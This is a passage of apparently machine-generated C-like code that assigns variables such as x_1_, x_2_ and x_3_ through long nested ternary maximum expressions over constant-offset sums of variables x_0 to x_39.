((9.0 + x_15) > ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))? (9.0 + x_15) : ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))))? (((17.0 + x_1) > (2.0 + x_4)? (17.0 + x_1) : (2.0 + x_4)) > ((8.0 + x_7) > ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10))? (8.0 + x_7) : ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10)))? ((17.0 + x_1) > (2.0 + x_4)? (17.0 + x_1) : (2.0 + x_4)) : ((8.0 + x_7) > ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10))? (8.0 + x_7) : ((11.0 + x_8) > (13.0 + x_10)? (11.0 + x_8) : (13.0 + x_10)))) : (((7.0 + x_12) > (14.0 + x_13)? (7.0 + x_12) : (14.0 + x_13)) > ((9.0 + x_15) > ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))? (9.0 + x_15) : ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19)))? ((7.0 + x_12) > (14.0 + x_13)? (7.0 + x_12) : (14.0 + x_13)) : ((9.0 + x_15) > ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))? (9.0 + x_15) : ((18.0 + x_18) > (16.0 + x_19)? (18.0 + x_18) : (16.0 + x_19))))) : ((((13.0 + x_20) > (5.0 + x_22)? (13.0 + x_20) : (5.0 + x_22)) > ((7.0 + x_24) > ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28))? (7.0 + x_24) : ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28)))? ((13.0 + x_20) > (5.0 + x_22)? (13.0 + x_20) : (5.0 + x_22)) : ((7.0 + x_24) > ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28))? (7.0 + x_24) : ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28)))) > (((15.0 + x_29) > (11.0 + x_30)? (15.0 + x_29) : (11.0 + x_30)) > ((1.0 + x_35) > ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))? (1.0 + x_35) : ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39)))? ((15.0 + x_29) > (11.0 + x_30)? (15.0 + x_29) : (11.0 + x_30)) : ((1.0 + x_35) > ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))? (1.0 + x_35) : ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))))? (((13.0 + x_20) > (5.0 + x_22)? (13.0 + x_20) : (5.0 + x_22)) > ((7.0 + x_24) > ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28))? (7.0 + x_24) : ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28)))? ((13.0 + x_20) > (5.0 + x_22)? (13.0 + x_20) : (5.0 + x_22)) : ((7.0 + x_24) > ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28))? (7.0 + x_24) : ((8.0 + x_26) > (18.0 + x_28)? (8.0 + x_26) : (18.0 + x_28)))) : (((15.0 + x_29) > (11.0 + x_30)? (15.0 + x_29) : (11.0 + x_30)) > ((1.0 + x_35) > ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))? (1.0 + x_35) : ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39)))? ((15.0 + x_29) > (11.0 + x_30)? (15.0 + x_29) : (11.0 + x_30)) : ((1.0 + x_35) > ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39))? (1.0 + x_35) : ((12.0 + x_38) > (15.0 + x_39)? (12.0 + x_38) : (15.0 + x_39)))))); x_1_ = (((((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) > ((13.0 + x_6) > ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8))? (13.0 + x_6) : ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8)))? ((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) : ((13.0 + x_6) > ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8))? (13.0 + x_6) : ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8)))) > (((8.0 + x_9) > (7.0 + x_10)? (8.0 + x_9) : (7.0 + x_10)) > ((9.0 + x_13) > ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))? (9.0 + x_13) : ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21)))? ((8.0 + x_9) > (7.0 + x_10)? (8.0 + x_9) : (7.0 + x_10)) : ((9.0 + x_13) > ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))? (9.0 + x_13) : ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))))? (((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) > ((13.0 + x_6) > ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8))? (13.0 + x_6) : ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8)))? ((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) : ((13.0 + x_6) > ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8))? (13.0 + x_6) : ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8)))) : (((8.0 + x_9) > (7.0 + x_10)? (8.0 + x_9) : (7.0 + x_10)) > ((9.0 + x_13) > ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))? (9.0 + x_13) : ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21)))? ((8.0 + x_9) > (7.0 + x_10)? (8.0 + x_9) : (7.0 + x_10)) : ((9.0 + x_13) > ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))? (9.0 + x_13) : ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))))) > ((((14.0 + x_22) > (7.0 + x_24)? (14.0 + x_22) : (7.0 + x_24)) > ((11.0 + x_25) > ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30))? (11.0 + x_25) : ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30)))? ((14.0 + x_22) > (7.0 + x_24)? (14.0 + x_22) : (7.0 + x_24)) : ((11.0 + x_25) > ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30))? (11.0 + x_25) : ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30)))) > (((5.0 + x_34) > (1.0 + x_35)? (5.0 + x_34) : (1.0 + x_35)) > ((16.0 + x_36) > ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))? (16.0 + x_36) : ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39)))? ((5.0 + x_34) > (1.0 + x_35)? (5.0 + x_34) : (1.0 + x_35)) : ((16.0 + x_36) > ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))? (16.0 + x_36) : ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))))? (((14.0 + x_22) > (7.0 + x_24)? (14.0 + x_22) : (7.0 + x_24)) > ((11.0 + x_25) > ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30))? (11.0 + x_25) : ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30)))? ((14.0 + x_22) > (7.0 + x_24)? (14.0 + x_22) : (7.0 + x_24)) : ((11.0 + x_25) > ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30))? (11.0 + x_25) : ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30)))) : (((5.0 + x_34) > (1.0 + x_35)? (5.0 + x_34) : (1.0 + x_35)) > ((16.0 + x_36) > ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))? (16.0 + x_36) : ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39)))? ((5.0 + x_34) > (1.0 + x_35)? (5.0 + x_34) : (1.0 + x_35)) : ((16.0 + x_36) > ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))? (16.0 + x_36) : ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39)))))? ((((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) > ((13.0 + x_6) > ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8))? (13.0 + x_6) : ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8)))? ((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) : ((13.0 + x_6) > ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8))? (13.0 + x_6) : ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8)))) > (((8.0 + x_9) > (7.0 + x_10)? (8.0 + x_9) : (7.0 + x_10)) > ((9.0 + x_13) > ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))? (9.0 + x_13) : ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21)))? ((8.0 + x_9) > (7.0 + x_10)? (8.0 + x_9) : (7.0 + x_10)) : ((9.0 + x_13) > ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))? (9.0 + x_13) : ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))))? (((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) > ((13.0 + x_6) > ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8))? (13.0 + x_6) : ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8)))? ((19.0 + x_3) > (2.0 + x_4)? (19.0 + x_3) : (2.0 + x_4)) : ((13.0 + x_6) > ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8))? (13.0 + x_6) : ((14.0 + x_7) > (7.0 + x_8)? (14.0 + x_7) : (7.0 + x_8)))) : (((8.0 + x_9) > (7.0 + x_10)? (8.0 + x_9) : (7.0 + x_10)) > ((9.0 + x_13) > ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))? (9.0 + x_13) : ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21)))? ((8.0 + x_9) > (7.0 + x_10)? (8.0 + x_9) : (7.0 + x_10)) : ((9.0 + x_13) > ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))? (9.0 + x_13) : ((6.0 + x_17) > (16.0 + x_21)? (6.0 + x_17) : (16.0 + x_21))))) : ((((14.0 + x_22) > (7.0 + x_24)? (14.0 + x_22) : (7.0 + x_24)) > ((11.0 + x_25) > ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30))? (11.0 + x_25) : ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30)))? ((14.0 + x_22) > (7.0 + x_24)? (14.0 + x_22) : (7.0 + x_24)) : ((11.0 + x_25) > ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30))? (11.0 + x_25) : ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30)))) > (((5.0 + x_34) > (1.0 + x_35)? (5.0 + x_34) : (1.0 + x_35)) > ((16.0 + x_36) > ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))? (16.0 + x_36) : ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39)))? ((5.0 + x_34) > (1.0 + x_35)? (5.0 + x_34) : (1.0 + x_35)) : ((16.0 + x_36) > ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))? (16.0 + x_36) : ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))))? (((14.0 + x_22) > (7.0 + x_24)? (14.0 + x_22) : (7.0 + x_24)) > ((11.0 + x_25) > ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30))? (11.0 + x_25) : ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30)))? ((14.0 + x_22) > (7.0 + x_24)? (14.0 + x_22) : (7.0 + x_24)) : ((11.0 + x_25) > ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30))? (11.0 + x_25) : ((15.0 + x_26) > (18.0 + x_30)? (15.0 + x_26) : (18.0 + x_30)))) : (((5.0 + x_34) > (1.0 + x_35)? (5.0 + x_34) : (1.0 + x_35)) > ((16.0 + x_36) > ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))? (16.0 + x_36) : ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39)))? ((5.0 + x_34) > (1.0 + x_35)? (5.0 + x_34) : (1.0 + x_35)) : ((16.0 + x_36) > ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39))? (16.0 + x_36) : ((20.0 + x_38) > (1.0 + x_39)? (20.0 + x_38) : (1.0 + x_39)))))); x_2_ = (((((9.0 + x_6) > (17.0 + x_8)? (9.0 + x_6) : (17.0 + x_8)) > ((3.0 + x_10) > ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14))? (3.0 + x_10) : ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14)))? ((9.0 + x_6) > (17.0 + x_8)? (9.0 + x_6) : (17.0 + x_8)) : ((3.0 + x_10) > ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14))? (3.0 + x_10) : ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14)))) > (((16.0 + x_16) > (1.0 + x_17)? (16.0 + x_16) : (1.0 + x_17)) > ((6.0 + x_20) > ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))? (6.0 + x_20) : ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22)))? ((16.0 + x_16) > (1.0 + x_17)? (16.0 + x_16) : (1.0 + x_17)) : ((6.0 + x_20) > ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))? (6.0 + x_20) : ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))))? (((9.0 + x_6) > (17.0 + x_8)? (9.0 + x_6) : (17.0 + x_8)) > ((3.0 + x_10) > ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14))? (3.0 + x_10) : ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14)))? ((9.0 + x_6) > (17.0 + x_8)? (9.0 + x_6) : (17.0 + x_8)) : ((3.0 + x_10) > ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14))? (3.0 + x_10) : ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14)))) : (((16.0 + x_16) > (1.0 + x_17)? (16.0 + x_16) : (1.0 + x_17)) > ((6.0 + x_20) > ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))? (6.0 + x_20) : ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22)))? ((16.0 + x_16) > (1.0 + x_17)? (16.0 + x_16) : (1.0 + x_17)) : ((6.0 + x_20) > ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))? (6.0 + x_20) : ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))))) > ((((1.0 + x_23) > (11.0 + x_24)? (1.0 + x_23) : (11.0 + x_24)) > ((11.0 + x_25) > ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33))? (11.0 + x_25) : ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33)))? ((1.0 + x_23) > (11.0 + x_24)? (1.0 + x_23) : (11.0 + x_24)) : ((11.0 + x_25) > ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33))? (11.0 + x_25) : ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33)))) > (((11.0 + x_35) > (10.0 + x_36)? (11.0 + x_35) : (10.0 + x_36)) > ((2.0 + x_37) > ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))? (2.0 + x_37) : ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39)))? ((11.0 + x_35) > (10.0 + x_36)? (11.0 + x_35) : (10.0 + x_36)) : ((2.0 + x_37) > ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))? (2.0 + x_37) : ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))))? (((1.0 + x_23) > (11.0 + x_24)? (1.0 + x_23) : (11.0 + x_24)) > ((11.0 + x_25) > ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33))? (11.0 + x_25) : ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33)))? ((1.0 + x_23) > (11.0 + x_24)? (1.0 + x_23) : (11.0 + x_24)) : ((11.0 + x_25) > ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33))? (11.0 + x_25) : ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33)))) : (((11.0 + x_35) > (10.0 + x_36)? (11.0 + x_35) : (10.0 + x_36)) > ((2.0 + x_37) > ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))? (2.0 + x_37) : ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39)))? ((11.0 + x_35) > (10.0 + x_36)? (11.0 + x_35) : (10.0 + x_36)) : ((2.0 + x_37) > ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))? (2.0 + x_37) : ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39)))))? ((((9.0 + x_6) > (17.0 + x_8)? (9.0 + x_6) : (17.0 + x_8)) > ((3.0 + x_10) > ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14))? (3.0 + x_10) : ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14)))? ((9.0 + x_6) > (17.0 + x_8)? (9.0 + x_6) : (17.0 + x_8)) : ((3.0 + x_10) > ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14))? (3.0 + x_10) : ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14)))) > (((16.0 + x_16) > (1.0 + x_17)? (16.0 + x_16) : (1.0 + x_17)) > ((6.0 + x_20) > ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))? (6.0 + x_20) : ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22)))? ((16.0 + x_16) > (1.0 + x_17)? (16.0 + x_16) : (1.0 + x_17)) : ((6.0 + x_20) > ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))? (6.0 + x_20) : ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))))? (((9.0 + x_6) > (17.0 + x_8)? (9.0 + x_6) : (17.0 + x_8)) > ((3.0 + x_10) > ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14))? (3.0 + x_10) : ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14)))? ((9.0 + x_6) > (17.0 + x_8)? (9.0 + x_6) : (17.0 + x_8)) : ((3.0 + x_10) > ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14))? (3.0 + x_10) : ((13.0 + x_13) > (18.0 + x_14)? (13.0 + x_13) : (18.0 + x_14)))) : (((16.0 + x_16) > (1.0 + x_17)? (16.0 + x_16) : (1.0 + x_17)) > ((6.0 + x_20) > ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))? (6.0 + x_20) : ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22)))? ((16.0 + x_16) > (1.0 + x_17)? (16.0 + x_16) : (1.0 + x_17)) : ((6.0 + x_20) > ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))? (6.0 + x_20) : ((1.0 + x_21) > (17.0 + x_22)? (1.0 + x_21) : (17.0 + x_22))))) : ((((1.0 + x_23) > (11.0 + x_24)? (1.0 + x_23) : (11.0 + x_24)) > ((11.0 + x_25) > ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33))? (11.0 + x_25) : ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33)))? ((1.0 + x_23) > (11.0 + x_24)? (1.0 + x_23) : (11.0 + x_24)) : ((11.0 + x_25) > ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33))? (11.0 + x_25) : ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33)))) > (((11.0 + x_35) > (10.0 + x_36)? (11.0 + x_35) : (10.0 + x_36)) > ((2.0 + x_37) > ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))? (2.0 + x_37) : ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39)))? ((11.0 + x_35) > (10.0 + x_36)? (11.0 + x_35) : (10.0 + x_36)) : ((2.0 + x_37) > ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))? (2.0 + x_37) : ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))))? (((1.0 + x_23) > (11.0 + x_24)? (1.0 + x_23) : (11.0 + x_24)) > ((11.0 + x_25) > ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33))? (11.0 + x_25) : ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33)))? ((1.0 + x_23) > (11.0 + x_24)? (1.0 + x_23) : (11.0 + x_24)) : ((11.0 + x_25) > ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33))? (11.0 + x_25) : ((5.0 + x_26) > (11.0 + x_33)? (5.0 + x_26) : (11.0 + x_33)))) : (((11.0 + x_35) > (10.0 + x_36)? (11.0 + x_35) : (10.0 + x_36)) > ((2.0 + x_37) > ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))? (2.0 + x_37) : ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39)))? ((11.0 + x_35) > (10.0 + x_36)? (11.0 + x_35) : (10.0 + x_36)) : ((2.0 + x_37) > ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39))? (2.0 + x_37) : ((13.0 + x_38) > (10.0 + x_39)? (13.0 + x_38) : (10.0 + x_39)))))); x_3_ = (((((12.0 + x_0) > (20.0 + x_3)? (12.0 + x_0) : (20.0 + x_3)) > ((4.0 + x_6) > ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9))? (4.0 + x_6) : ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9)))? ((12.0 + x_0) > (20.0 + x_3)? (12.0 + x_0) : (20.0 + x_3)) : ((4.0 + x_6) > ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9))? (4.0 + x_6) : ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9)))) > (((11.0 + x_13) > (5.0 + x_16)? (11.0 + x_13) : (5.0 + x_16)) > ((6.0 + x_17) > ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))? (6.0 + x_17) : ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21)))? ((11.0 + x_13) > (5.0 + x_16)? (11.0 + x_13) : (5.0 + x_16)) : ((6.0 + x_17) > ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))? (6.0 + x_17) : ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))))? (((12.0 + x_0) > (20.0 + x_3)? (12.0 + x_0) : (20.0 + x_3)) > ((4.0 + x_6) > ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9))? (4.0 + x_6) : ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9)))? ((12.0 + x_0) > (20.0 + x_3)? (12.0 + x_0) : (20.0 + x_3)) : ((4.0 + x_6) > ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9))? (4.0 + x_6) : ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + x_9)))) : (((11.0 + x_13) > (5.0 + x_16)? (11.0 + x_13) : (5.0 + x_16)) > ((6.0 + x_17) > ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))? (6.0 + x_17) : ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21)))? ((11.0 + x_13) > (5.0 + x_16)? (11.0 + x_13) : (5.0 + x_16)) : ((6.0 + x_17) > ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))? (6.0 + x_17) : ((19.0 + x_20) > (9.0 + x_21)? (19.0 + x_20) : (9.0 + x_21))))) > ((((9.0 + x_23) > (18.0 + x_26)? (9.0 + x_23) : (18.0 + x_26)) > ((11.0 + x_28) > ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31))? (11.0 + x_28) : ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31)))? ((9.0 + x_23) > (18.0 + x_26)? (9.0 + x_23) : (18.0 + x_26)) : ((11.0 + x_28) > ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31))? (11.0 + x_28) : ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31)))) > (((6.0 + x_32) > (3.0 + x_34)? (6.0 + x_32) : (3.0 + x_34)) > ((7.0 + x_36) > ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))? (7.0 + x_36) : ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39)))? ((6.0 + x_32) > (3.0 + x_34)? (6.0 + x_32) : (3.0 + x_34)) : ((7.0 + x_36) > ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))? (7.0 + x_36) : ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))))? (((9.0 + x_23) > (18.0 + x_26)? (9.0 + x_23) : (18.0 + x_26)) > ((11.0 + x_28) > ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31))? (11.0 + x_28) : ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31)))? ((9.0 + x_23) > (18.0 + x_26)? (9.0 + x_23) : (18.0 + x_26)) : ((11.0 + x_28) > ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31))? (11.0 + x_28) : ((12.0 + x_30) > (12.0 + x_31)? (12.0 + x_30) : (12.0 + x_31)))) : (((6.0 + x_32) > (3.0 + x_34)? (6.0 + x_32) : (3.0 + x_34)) > ((7.0 + x_36) > ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))? (7.0 + x_36) : ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39)))? ((6.0 + x_32) > (3.0 + x_34)? (6.0 + x_32) : (3.0 + x_34)) : ((7.0 + x_36) > ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39))? (7.0 + x_36) : ((18.0 + x_38) > (10.0 + x_39)? (18.0 + x_38) : (10.0 + x_39)))))? ((((12.0 + x_0) > (20.0 + x_3)? (12.0 + x_0) : (20.0 + x_3)) > ((4.0 + x_6) > ((1.0 + x_7) > (18.0 + x_9)? (1.0 + x_7) : (18.0 + 